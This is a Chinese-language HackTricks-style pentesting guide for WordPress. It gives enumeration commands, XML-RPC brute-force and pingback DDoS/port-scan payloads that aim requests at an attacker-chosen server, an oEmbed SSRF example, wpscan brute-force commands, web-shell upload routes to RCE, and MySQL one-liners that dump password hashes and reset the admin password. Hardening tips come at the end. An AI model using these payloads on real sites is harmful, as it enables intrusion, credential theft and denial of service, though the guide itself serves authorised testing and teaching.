Wordpress

学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 今天就获取访问权限:

基本信息

上传 的文件位于: http://10.10.10.10/wp-content/uploads/2018/08/a.txt 主题文件可以在 /wp-content/themes/ 中找到, 所以如果你更改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如:使用 主题 twentytwelve 你可以 访问 404.php 文件: /wp-content/themes/twentytwelve/404.php 另一个有用的 URL 可能是: /wp-content/themes/default/404.php

wp-config.php 中可以找到数据库的 root 密码。

默认登录路径检查: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

主要 WordPress 文件

  • index.php

  • license.txt 包含有用的信息,例如安装的 WordPress 版本。

  • wp-activate.php 用于设置新 WordPress 网站时的电子邮件激活过程。

  • 登录文件夹(可能被重命名以隐藏):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php 是一个文件,代表 WordPress 的一个功能,允许通过 HTTP 作为传输机制和 XML 作为编码机制传输数据。这种类型的通信已被 WordPress REST API 替代。

  • wp-content 文件夹是存储插件和主题的主要目录。

  • wp-content/uploads/ 是存储上传到平台的任何文件的目录。

  • wp-includes/ 这是存储核心文件的目录,例如证书、字体、JavaScript 文件和小部件。

  • wp-sitemap.xml 在 WordPress 版本 5.5 及更高版本中,WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型及分类法的站点地图 XML 文件。

后期利用

  • wp-config.php 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐,以及数据库表前缀。此配置文件还可以用于激活 DEBUG 模式,这在故障排除时非常有用。

用户权限

  • 管理员

  • 编辑:发布和管理他和其他人的帖子

  • 作者:发布和管理自己的帖子

  • 贡献者:撰写和管理自己的帖子,但不能发布

  • 订阅者:浏览帖子并编辑他们的个人资料

被动枚举

获取 WordPress 版本

检查是否可以找到文件 /license.txt/readme.html

在页面的 源代码 中(来自 https://wordpress.org/support/article/pages/ 的示例):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS链接文件

  • JavaScript文件

获取插件

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

获取主题

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

提取版本信息

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

使用 Trickest 轻松构建和 自动化工作流程,由世界上 最先进 的社区工具提供支持。 立即获取访问权限:

主动枚举

插件和主题

您可能无法找到所有可能的插件和主题。为了发现它们,您需要 主动暴力破解插件和主题的列表(希望对我们来说,有自动化工具包含这些列表)。

用户

ID 暴力破解

您可以通过暴力破解用户 ID 从 WordPress 网站获取有效用户:

curl -s -I -X GET http://blog.example.com/?author=1

如果响应是 20030X,这意味着 id 是 有效 的。如果响应是 400,那么 id 是 无效 的。

wp-json

您还可以尝试通过查询获取有关用户的信息:

curl http://blog.example.com/wp-json/wp/v2/users

另一个可以揭示用户信息的 /wp-json/ 端点是:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

注意,此端点仅暴露已发布帖子的用户。仅提供启用此功能的用户的信息

还要注意,/wp-json/wp/v2/pages 可能会泄露 IP 地址。

登录用户名枚举

/wp-login.php 登录时,消息在指示的 用户名是否存在 时是 不同的

XML-RPC

如果 xml-rpc.php 处于活动状态,您可以执行凭据暴力破解或利用它对其他资源发起 DoS 攻击。(您可以通过使用这个来自动化此过程,例如)。

要查看它是否处于活动状态,请尝试访问 /xmlrpc.php 并发送此请求:

检查

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

凭证暴力破解

wp.getUserBlogswp.getCategoriesmetaWeblog.getUsersBlogs 是一些可以用来暴力破解凭证的方法。如果你能找到其中任何一个,你可以发送类似于:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

消息 "用户名或密码不正确" 应该出现在 200 代码响应中,如果凭据无效。

使用正确的凭据,您可以上传文件。在响应中,路径将出现 (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

还有一种更快的方法可以使用**system.multicall**进行暴力破解凭据,因为您可以在同一请求中尝试多个凭据:

绕过 2FA

此方法是针对程序而非人类的,并且较旧,因此不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s 中解释的那样。

DDoS 或端口扫描

如果您可以在列表中找到方法 pingback.ping,则可以使 Wordpress 向任何主机/端口发送任意请求。 这可以用来请求成千上万的 Wordpress 站点 访问一个位置(因此在该位置造成DDoS),或者您可以用它让Wordpress 扫描一些内部网络(您可以指定任何端口)。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

如果你得到的 faultCode大于 0 (17),这意味着端口是开放的。

查看上一节中 system.multicall 的使用,了解如何利用此方法造成 DDoS。

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

此文件通常位于Wordpress站点的根目录下:/wp-cron.php 当访问此文件时,会执行一个“”的MySQL 查询,因此可能被攻击者用来造成****DoS。 此外,默认情况下,wp-cron.php在每次页面加载时被调用(每当客户端请求任何Wordpress页面时),在高流量网站上可能会导致问题(DoS)。

建议禁用Wp-Cron,并在主机内创建一个真实的cronjob,以定期执行所需的操作(而不造成问题)。

/wp-json/oembed/1.0/proxy - SSRF

尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress站点可能会向您发出请求。

当它不起作用时的响应是:

SSRF

此工具检查methodName: pingback.ping和路径**/wp-json/oembed/1.0/proxy**,如果存在,它会尝试利用它们。

自动工具

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 立即获取访问权限:

通过覆盖一点获取访问权限

这不仅仅是真正的攻击,而是一种好奇。在 CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,你可以翻转任何 wordpress 文件中的 1 位。因此,你可以将文件 /var/www/html/wp-includes/user.php 中位置 5389 的位翻转为 NOP NOT (!) 操作。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

面板 RCE

修改所用主题的 php(需要管理员凭据)

外观 → 主题编辑器 → 404 模板(在右侧)

将内容更改为 php shell:

在互联网上搜索如何访问该更新页面。在这种情况下,您必须访问这里: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

您可以使用:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

插件 RCE

PHP 插件

可能可以将 .php 文件作为插件上传。 使用例如以下方法创建你的 php 后门:

然后添加一个新插件:

上传插件并按“立即安装”:

点击继续:

这可能看起来没有任何反应,但如果你去媒体,你会看到你的 shell 已上传:

访问它,你将看到执行反向 shell 的 URL:

上传和激活恶意插件

此方法涉及安装已知存在漏洞的恶意插件,并可以利用该漏洞获取 web shell。此过程通过 WordPress 仪表板进行,如下所示:

  1. 插件获取:从像 Exploit DB 这样的来源获取插件,如 这里

  2. 插件安装

  • 导航到 WordPress 仪表板,然后转到 仪表板 > 插件 > 上传插件

  • 上传下载插件的 zip 文件。

  1. 插件激活:一旦插件成功安装,必须通过仪表板激活它。

  2. 利用

  • 安装并激活插件“reflex-gallery”,可以利用它,因为已知存在漏洞。

  • Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。

  • 注意,这只是利用 WordPress 网站的众多方法之一。

内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而,重要的是要注意,以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用,仅在法律背景下使用,例如在获得明确许可的渗透测试中。

有关更详细的步骤,请查看: https://www.hackingarticles.in/wordpress-reverse-shell/

从 XSS 到 RCE

  • WPXStrikeWPXStrike 是一个旨在将 跨站脚本 (XSS) 漏洞升级为 远程代码执行 (RCE) 或其他 WordPress 中的关键漏洞的脚本。有关更多信息,请查看 此帖子。它提供对 WordPress 版本 6.X.X、5.X.X 和 4.X.X 的 支持,并允许:

  • 权限提升: 在 WordPress 中创建用户。

  • (RCE) 自定义插件 (后门) 上传: 将自定义插件 (后门) 上传到 WordPress。

  • (RCE) 内置插件编辑: 编辑 WordPress 中的内置插件。

  • (RCE) 内置主题编辑: 编辑 WordPress 中的内置主题。

  • (自定义) 自定义利用: 针对第三方 WordPress 插件/主题的自定义利用。

利用后

提取用户名和密码:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

更改管理员密码:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress 插件渗透测试

攻击面

了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例,详见 这篇博客文章

  • wp_ajax

插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证漏洞。此外,这些功能通常会基于 Wordpress nonce 的存在进行身份验证和授权,而 任何在 Wordpress 实例中经过身份验证的用户都可能拥有(与其角色无关)。

这些是可以用来在插件中暴露功能的函数:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

使用 nopriv 使得该端点可以被任何用户访问(甚至是未认证的用户)。

此外,如果该函数只是使用 wp_verify_nonce 检查用户的授权,该函数仅检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。

  • REST API

还可以通过使用 register_rest_route 函数从 WordPress 注册一个 REST API 来暴露函数:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback 是一个回调函数,用于检查给定用户是否有权调用 API 方法。

如果使用内置的 __return_true 函数,它将简单地跳过用户权限检查。

  • 直接访问 php 文件

当然,Wordpress 使用 PHP,插件中的文件可以直接从网络访问。因此,如果一个插件暴露了任何通过访问文件触发的脆弱功能,那么任何用户都可以利用它。

WordPress 保护

定期更新

确保 WordPress、插件和主题是最新的。还要确认在 wp-config.php 中启用了自动更新:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

也要仅安装可信的 WordPress 插件和主题

安全插件

其他建议

  • 删除默认的 admin 用户

  • 使用 强密码双因素认证

  • 定期 审查 用户 权限

  • 限制登录尝试 以防止暴力破解攻击

  • 重命名 wp-admin.php 文件,并仅允许内部或特定 IP 地址访问。

使用 Trickest 轻松构建和 自动化工作流程,由世界上 最先进 的社区工具提供支持。 今天就获取访问权限:

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE) 学习和实践 GCP 黑客技术: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

Last updated